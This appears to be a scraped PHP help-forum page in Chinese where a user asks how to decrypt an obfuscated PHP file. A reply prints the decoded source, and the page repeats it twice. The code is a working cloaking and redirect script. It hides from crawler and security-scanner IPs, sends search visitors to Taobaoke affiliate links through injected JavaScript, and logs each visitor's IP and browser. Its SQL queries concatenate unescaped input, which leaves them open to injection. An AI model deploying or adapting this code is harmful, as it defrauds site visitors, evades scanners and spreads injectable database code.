Rumah >pembangunan bahagian belakang >tutorial php >碰到一段PHP的加密,实在不知道怎么解密了求大神
有BASE64和一些乱码符号,真心不知道怎么来解密了 求高手。
因为有特殊字符论坛发不上来,就发网盘地址了。
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014
里面存在相关的加密和版权验证,不过不再最终的加密里面;整个加密流程大概反复进行了5次以上<?php/* * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))||@die(); //15aabc79d4499e36ea28690d6959b37c */error_reporting ( 0 );defined ( 'FFCAEDAABEBFAB' ) || exit ( 'Access Denied' );include ('TopSdk.php');include ('mysql.php');include ('config.php');session_start ();$host = $_SERVER ["HTTP_HOST"];$scanv = "";if (isset ( $_SESSION ['url'] )) { $url = $_SESSION ['url']; $keyword = get_keyword ( $url, $keywords ); $arr = parse_url ( $url ); $arr_query = convertUrlQuery ( $arr ['query'] ); $usergent = $_SERVER ['HTTP_USER_AGENT']; $client_ip = $_SERVER ["REMOTE_ADDR"]; $loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) ); if (strpos ( $client_ip, '61.135' ) !== false || strpos ( $client_ip, '173.194' ) !== false || strpos ( $client_ip, '203.208' ) !== false || strpos ( $client_ip, '74.125' ) !== false || strpos ( $client_ip, '123.125' ) !== false || strpos ( $client_ip, '220.181' ) !== false) { $scanv = "检测到scanv IP"; } else if (strpos ( $keyword, 'dasoji' ) !== false) { $scanv = "检测到域名"; } else if ($keyword == false) { $scanv = "关键词不能为空"; } else if (strpos ( $loc, '谷歌' ) !== false) { $scanv = "检测到谷歌IP"; } else if (strpos ( $loc, '北京' ) !== false) { $scanv = "检测到北京IP"; } else if (count ( $arr_query ) < 2) { $scanv = "可能是scanv"; } else { $key = get_key ( $keyword ); $click_url = get_key_url ( $key ); if (! isset ( $click_url )) { $click_url = search_click ( $key )->taobaoke_item->click_url; } if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { $scanv = "无有效跳转"; $click_url = get_shops_url ( $key ); if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { echo "var jump_url='';"; echo "window.location.href=jump_url;"; } } } $fp = fopen ( "baiduspider.html", 'a' ); fwrite ( $fp, "<tr><td>" . date ( 'Y-m-d H:i:s', time () ) . "</td><td> " . $_SERVER ["REMOTE_ADDR"] . '</td><td>' . $keyword . '</td><td>' . $scanv . '</td><td>' . $_SERVER ['HTTP_USER_AGENT'] . '</td><td><a href=' . $url . '>' . $url . '</a></td></tr>' ); fclose ( $fp ); ;}function get_key_url($key) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from keyword where `key`='" . $key . "'"; $result = $db->get ( $sql ); return $result->url;}function get_key($keyword) { global $db_conn; $db = new Mysql ( $db_conn ); $result = $db->find ( "select `id`,`key` from keyword order by `key` desc" ); for($i = 0; $i < count ( $result ); $i ++) { if (stripos ( $keyword, trim ( $result [$i]->key ) ) !== false) { return $result [$i]->key; } } return $keyword;}function convertUrlQuery($query) { $queryParts = explode ( '&', $query ); $params = array (); foreach ( $queryParts as $param ) { $item = explode ( '=', $param ); $params [$item [0]] = $item [1]; } return $params;}function get_keyword($url, &$keywords) { $regex = "/(?:soso.+?w=|so.+?q=|360.+?q=|huihui.+?q=|baidu.+?wd=|baidu.+?kw=|baidu.+?word=|google.+?q=|sogou.+?query=|bing.+?q=|yahoo.+?[\?|&]p=|lycos.+?query=|onseek.+?keyword=|search\.tom.+?word=|search\.qq\.com.+?word=|zhongsou\.com.+?word=|search\.msn\.com.+?q=|yisou\.com.+?p=|sina.+?word=|sina.+?query=|sina.+?_searchkey=|sohu.+?word=|sohu.+?key_word=|sohu.+?query=|163.+?q=|Alltheweb.+?q=|115.+?q=|youdao.+?q=|bing.+?q=|114.+?kw=)([^&]*)/"; $matches = array (); if (preg_match ( $regex . 'i', $url, $matches )) { $keywords = urldecode ( $matches [1] ) . " "; $keywords = mb_convert_encoding ( $keywords, "UTF-8", "UTF-8,GB2312,GBK" ); return $keywords; } return false;}function get_shops_url($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeShopsGetRequest (); $req->setFields ( "click_url,shop_title" ); $req->setPid ( $pid ); $req->setOnlyMall ( "true" ); $req->setKeyword ( $key ); $resp = $c->execute ( $req ); return $resp->taobaoke_shops->taobaoke_shop->click_url;}function search_click($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeItemsGetRequest (); $req->setFields ( "click_url" ); $req->setPid ( $pid ); $req->setKeyword ( $key ); $req->setPageNo ( 1 ); $req->setPageSize ( 1 ); $req->setSort ( "commissionNum_desc" ); $resp = $c->execute ( $req ); $items = $resp->taobaoke_items; return $items;}function get_apidata($id) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from apidata where `id`='" . $id . "'"; $result = $db->get ( $sql ); return $result->data;}function set_apidata($id, $data) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "insert into apidata(`id`,`data`) values ('$id','$data')"; $db->query ( $sql );}function convertip($ip) { $dat_path = 'qqwry.dat'; if (! preg_match ( "/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/", $ip )) { } if (! $fd = @fopen ( $dat_path, 'rb' )) { return 'IP date file not exists or access denied'; } $ip = explode ( '.', $ip ); $ipNum = $ip [0] * 16777216 + $ip [1] * 65536 + $ip [2] * 256 + $ip [3]; $DataBegin = fread ( $fd, 4 ); $DataEnd = fread ( $fd, 4 ); $ipbegin = implode ( '', unpack ( 'L', $DataBegin ) ); if ($ipbegin < 0) $ipbegin += pow ( 2, 32 ); $ipend = implode ( '', unpack ( 'L', $DataEnd ) ); if ($ipend < 0) $ipend += pow ( 2, 32 ); $ipAllNum = ($ipend - $ipbegin) / 7 + 1; $BeginNum = 0; $EndNum = $ipAllNum; while ( $ip1num > $ipNum || $ip2num < $ipNum ) { $Middle = intval ( ($EndNum + $BeginNum) / 2 ); fseek ( $fd, $ipbegin + 7 * $Middle ); $ipData1 = fread ( $fd, 4 ); if (strlen ( $ipData1 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip1num = implode ( '', unpack ( 'L', $ipData1 ) ); if ($ip1num < 0) $ip1num += pow ( 2, 32 ); if ($ip1num > $ipNum) { $EndNum = $Middle; continue; } $DataSeek = fread ( $fd, 3 ); if (strlen ( $DataSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $DataSeek = implode ( '', unpack ( 'L', $DataSeek . chr ( 0 ) ) ); fseek ( $fd, $DataSeek ); $ipData2 = fread ( $fd, 4 ); if (strlen ( $ipData2 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip2num = implode ( '', unpack ( 'L', $ipData2 ) ); if ($ip2num < 0) $ip2num += pow ( 2, 32 ); if ($ip2num < $ipNum) { if ($Middle == $BeginNum) { fclose ( $fd ); return 'Unknown'; } $BeginNum = $Middle; } } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 1 )) { $ipSeek = fread ( $fd, 3 ); if (strlen ( $ipSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipSeek = implode ( '', unpack ( 'L', $ipSeek . chr ( 0 ) ) ); fseek ( $fd, $ipSeek ); $ipFlag = fread ( $fd, 1 ); } if ($ipFlag == chr ( 2 )) { $AddrSeek = fread ( $fd, 3 ); if (strlen ( $AddrSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr2 .= $char; $AddrSeek = implode ( '', unpack ( 'L', $AddrSeek . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; } else { fseek ( $fd, - 1, SEEK_CUR ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) { $ipAddr2 .= $char; } } fclose ( $fd ); if (preg_match ( '/http/i', $ipAddr2 )) { $ipAddr2 = ''; } $ipaddr = "$ipAddr1 $ipAddr2"; $ipaddr = preg_replace ( '/CZ88.Net/is', '', $ipaddr ); $ipaddr = preg_replace ( '/^s*/is', '', $ipaddr ); $ipaddr = preg_replace ( '/s*$/is', '', $ipaddr ); if (preg_match ( '/http/i', $ipaddr ) || $ipaddr == '') { $ipaddr = 'Unknown'; } return $ipaddr;}?>
里面存在相关的加密和版权验证,不过不再最终的加密里面;整个加密流程大概反复进行了5次以上<?php/* * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))||@die(); //15aabc79d4499e36ea28690d6959b37c */error_reporting ( 0 );defined ( 'FFCAEDAABEBFAB' ) || exit ( 'Access Denied' );include ('TopSdk.php');include ('mysql.php');include ('config.php');session_start ();$host = $_SERVER ["HTTP_HOST"];$scanv = "";if (isset ( $_SESSION ['url'] )) { $url = $_SESSION ['url']; $keyword = get_keyword ( $url, $keywords ); $arr = parse_url ( $url ); $arr_query = convertUrlQuery ( $arr ['query'] ); $usergent = $_SERVER ['HTTP_USER_AGENT']; $client_ip = $_SERVER ["REMOTE_ADDR"]; $loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) ); if (strpos ( $client_ip, '61.135' ) !== false || strpos ( $client_ip, '173.194' ) !== false || strpos ( $client_ip, '203.208' ) !== false || strpos ( $client_ip, '74.125' ) !== false || strpos ( $client_ip, '123.125' ) !== false || strpos ( $client_ip, '220.181' ) !== false) { $scanv = "检测到scanv IP"; } else if (strpos ( $keyword, 'dasoji' ) !== false) { $scanv = "检测到域名"; } else if ($keyword == false) { $scanv = "关键词不能为空"; } else if (strpos ( $loc, '谷歌' ) !== false) { $scanv = "检测到谷歌IP"; } else if (strpos ( $loc, '北京' ) !== false) { $scanv = "检测到北京IP"; } else if (count ( $arr_query ) < 2) { $scanv = "可能是scanv"; } else { $key = get_key ( $keyword ); $click_url = get_key_url ( $key ); if (! isset ( $click_url )) { $click_url = search_click ( $key )->taobaoke_item->click_url; } if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { $scanv = "无有效跳转"; $click_url = get_shops_url ( $key ); if (isset ( $click_url )) { echo "var jump_url='" . $click_url . "';"; echo "window.location.href=jump_url;"; } else { echo "var jump_url='';"; echo "window.location.href=jump_url;"; } } } $fp = fopen ( "baiduspider.html", 'a' ); fwrite ( $fp, "<tr><td>" . date ( 'Y-m-d H:i:s', time () ) . "</td><td> " . $_SERVER ["REMOTE_ADDR"] . '</td><td>' . $keyword . '</td><td>' . $scanv . '</td><td>' . $_SERVER ['HTTP_USER_AGENT'] . '</td><td><a href=' . $url . '>' . $url . '</a></td></tr>' ); fclose ( $fp ); ;}function get_key_url($key) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from keyword where `key`='" . $key . "'"; $result = $db->get ( $sql ); return $result->url;}function get_key($keyword) { global $db_conn; $db = new Mysql ( $db_conn ); $result = $db->find ( "select `id`,`key` from keyword order by `key` desc" ); for($i = 0; $i < count ( $result ); $i ++) { if (stripos ( $keyword, trim ( $result [$i]->key ) ) !== false) { return $result [$i]->key; } } return $keyword;}function convertUrlQuery($query) { $queryParts = explode ( '&', $query ); $params = array (); foreach ( $queryParts as $param ) { $item = explode ( '=', $param ); $params [$item [0]] = $item [1]; } return $params;}function get_keyword($url, &$keywords) { $regex = "/(?:soso.+?w=|so.+?q=|360.+?q=|huihui.+?q=|baidu.+?wd=|baidu.+?kw=|baidu.+?word=|google.+?q=|sogou.+?query=|bing.+?q=|yahoo.+?[\?|&]p=|lycos.+?query=|onseek.+?keyword=|search\.tom.+?word=|search\.qq\.com.+?word=|zhongsou\.com.+?word=|search\.msn\.com.+?q=|yisou\.com.+?p=|sina.+?word=|sina.+?query=|sina.+?_searchkey=|sohu.+?word=|sohu.+?key_word=|sohu.+?query=|163.+?q=|Alltheweb.+?q=|115.+?q=|youdao.+?q=|bing.+?q=|114.+?kw=)([^&]*)/"; $matches = array (); if (preg_match ( $regex . 'i', $url, $matches )) { $keywords = urldecode ( $matches [1] ) . " "; $keywords = mb_convert_encoding ( $keywords, "UTF-8", "UTF-8,GB2312,GBK" ); return $keywords; } return false;}function get_shops_url($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeShopsGetRequest (); $req->setFields ( "click_url,shop_title" ); $req->setPid ( $pid ); $req->setOnlyMall ( "true" ); $req->setKeyword ( $key ); $resp = $c->execute ( $req ); return $resp->taobaoke_shops->taobaoke_shop->click_url;}function search_click($key) { global $appkey; global $pid; global $secret; $c = new TopClient (); $c->appkey = $appkey; $c->secretKey = $secret; $req = new TaobaokeItemsGetRequest (); $req->setFields ( "click_url" ); $req->setPid ( $pid ); $req->setKeyword ( $key ); $req->setPageNo ( 1 ); $req->setPageSize ( 1 ); $req->setSort ( "commissionNum_desc" ); $resp = $c->execute ( $req ); $items = $resp->taobaoke_items; return $items;}function get_apidata($id) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "select * from apidata where `id`='" . $id . "'"; $result = $db->get ( $sql ); return $result->data;}function set_apidata($id, $data) { global $db_conn; $db = new Mysql ( $db_conn ); $db->query ( "set names utf8" ); $sql = "insert into apidata(`id`,`data`) values ('$id','$data')"; $db->query ( $sql );}function convertip($ip) { $dat_path = 'qqwry.dat'; if (! preg_match ( "/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/", $ip )) { } if (! $fd = @fopen ( $dat_path, 'rb' )) { return 'IP date file not exists or access denied'; } $ip = explode ( '.', $ip ); $ipNum = $ip [0] * 16777216 + $ip [1] * 65536 + $ip [2] * 256 + $ip [3]; $DataBegin = fread ( $fd, 4 ); $DataEnd = fread ( $fd, 4 ); $ipbegin = implode ( '', unpack ( 'L', $DataBegin ) ); if ($ipbegin < 0) $ipbegin += pow ( 2, 32 ); $ipend = implode ( '', unpack ( 'L', $DataEnd ) ); if ($ipend < 0) $ipend += pow ( 2, 32 ); $ipAllNum = ($ipend - $ipbegin) / 7 + 1; $BeginNum = 0; $EndNum = $ipAllNum; while ( $ip1num > $ipNum || $ip2num < $ipNum ) { $Middle = intval ( ($EndNum + $BeginNum) / 2 ); fseek ( $fd, $ipbegin + 7 * $Middle ); $ipData1 = fread ( $fd, 4 ); if (strlen ( $ipData1 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip1num = implode ( '', unpack ( 'L', $ipData1 ) ); if ($ip1num < 0) $ip1num += pow ( 2, 32 ); if ($ip1num > $ipNum) { $EndNum = $Middle; continue; } $DataSeek = fread ( $fd, 3 ); if (strlen ( $DataSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $DataSeek = implode ( '', unpack ( 'L', $DataSeek . chr ( 0 ) ) ); fseek ( $fd, $DataSeek ); $ipData2 = fread ( $fd, 4 ); if (strlen ( $ipData2 ) < 4) { fclose ( $fd ); return 'System Error'; } $ip2num = implode ( '', unpack ( 'L', $ipData2 ) ); if ($ip2num < 0) $ip2num += pow ( 2, 32 ); if ($ip2num < $ipNum) { if ($Middle == $BeginNum) { fclose ( $fd ); return 'Unknown'; } $BeginNum = $Middle; } } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 1 )) { $ipSeek = fread ( $fd, 3 ); if (strlen ( $ipSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipSeek = implode ( '', unpack ( 'L', $ipSeek . chr ( 0 ) ) ); fseek ( $fd, $ipSeek ); $ipFlag = fread ( $fd, 1 ); } if ($ipFlag == chr ( 2 )) { $AddrSeek = fread ( $fd, 3 ); if (strlen ( $AddrSeek ) < 3) { fclose ( $fd ); return 'System Error'; } $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr2 .= $char; $AddrSeek = implode ( '', unpack ( 'L', $AddrSeek . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; } else { fseek ( $fd, - 1, SEEK_CUR ); while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) $ipAddr1 .= $char; $ipFlag = fread ( $fd, 1 ); if ($ipFlag == chr ( 2 )) { $AddrSeek2 = fread ( $fd, 3 ); if (strlen ( $AddrSeek2 ) < 3) { fclose ( $fd ); return 'System Error'; } $AddrSeek2 = implode ( '', unpack ( 'L', $AddrSeek2 . chr ( 0 ) ) ); fseek ( $fd, $AddrSeek2 ); } else { fseek ( $fd, - 1, SEEK_CUR ); } while ( ($char = fread ( $fd, 1 )) != chr ( 0 ) ) { $ipAddr2 .= $char; } } fclose ( $fd ); if (preg_match ( '/http/i', $ipAddr2 )) { $ipAddr2 = ''; } $ipaddr = "$ipAddr1 $ipAddr2"; $ipaddr = preg_replace ( '/CZ88.Net/is', '', $ipaddr ); $ipaddr = preg_replace ( '/^s*/is', '', $ipaddr ); $ipaddr = preg_replace ( '/s*$/is', '', $ipaddr ); if (preg_match ( '/http/i', $ipaddr ) || $ipaddr == '') { $ipaddr = 'Unknown'; } return $ipaddr;}?>这个是如何进行解密的呢?能提供下过程吗?
有的加密是不可逆的,解不开!